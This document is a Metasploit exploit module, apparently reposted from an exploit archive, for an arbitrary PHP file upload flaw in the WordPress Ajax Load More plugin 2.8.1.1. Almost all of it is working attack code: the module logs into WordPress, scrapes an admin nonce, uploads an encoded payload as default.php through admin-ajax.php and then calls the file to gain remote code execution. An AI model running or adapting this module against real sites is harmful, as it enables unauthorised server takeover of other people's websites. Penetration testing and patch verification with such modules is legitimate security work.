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WordPress Ajax Load More PHP Upload

Posted on 10 November 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HTTP::Wordpress
 include Msf::Exploit::FileDropper

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Wordpress Ajax Load More PHP Upload Vulnerability',
 'Description' => %q{
 This module exploits an arbitrary file upload in the WordPress Ajax Load More
 version 2.8.1.1. It allows to upload arbitrary php files and get remote code
 execution. This module has been tested successfully on WordPress Ajax Load More
 2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server.
 },
 'Author' =>
 [
 'Unknown', # Identify yourself || send an PR here
 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
 ],
 'License' => MSF_LICENSE,
 'References' =>
 [
 ['WPVDB', '8209']
 ],
 'Privileged' => false,
 'Platform' => 'php',
 'Arch' => ARCH_PHP,
 'Targets' => [['Ajax Load More 2.8.1.1', {}]],
 'DisclosureDate' => 'Oct 10 2015',
 'DefaultTarget' => 0
 ))

 register_options(
 [
 OptString.new('WP_USERNAME', [true, 'A valid username', nil]),
 OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
 ], self.class
 )
 end

 def check
 check_plugin_version_from_readme('ajax-load-more', '2.8.1.2')
 end

 def username
 datastore['WP_USERNAME']
 end

 def password
 datastore['WP_PASSWORD']
 end

 def get_nonce(cookie)
 res = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
 'vars_get' => {
 'page' => 'ajax-load-more-repeaters'
 },
 'cookie' => cookie
 )

 if res && res.body && res.body =~ /php","alm_admin_nonce":"([a-z0-9]+)"}/
 return Regexp.last_match[1]
 else
 return nil
 end
 end

 def exploit
 vprint_status("#{peer} - Trying to login as #{username}")
 cookie = wordpress_login(username, password)
 fail_with(Failure::NoAccess, "#{peer} - Unable to login as: #{username}") if cookie.nil?

 vprint_status("#{peer} - Trying to get nonce")
 nonce = get_nonce(cookie)
 fail_with(Failure::Unknown, "#{peer} - Unable to get nonce") if nonce.nil?

 vprint_status("#{peer} - Trying to upload payload")

 # This must be default.php
 filename = 'default.php'

 print_status("#{peer} - Uploading payload")
 res = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
 'vars_post' => {
 'action' => 'alm_save_repeater',
 'value' => payload.encoded,
 'repeater' => 'default',
 'type' => 'default',
 'alias' => '',
 'nonce' => nonce
 },
 'cookie' => cookie
 )

 if res
 if res.code == 200 && res.body.include?('Template Saved Successfully')
 register_files_for_cleanup(filename)
 else
 fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
 end
 else
 fail_with(Failure::Unknown, 'Server did not respond in an expected way')
 end

 print_status("#{peer} - Calling uploaded file")
 send_request_cgi(
 'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
 )
 end
end

 

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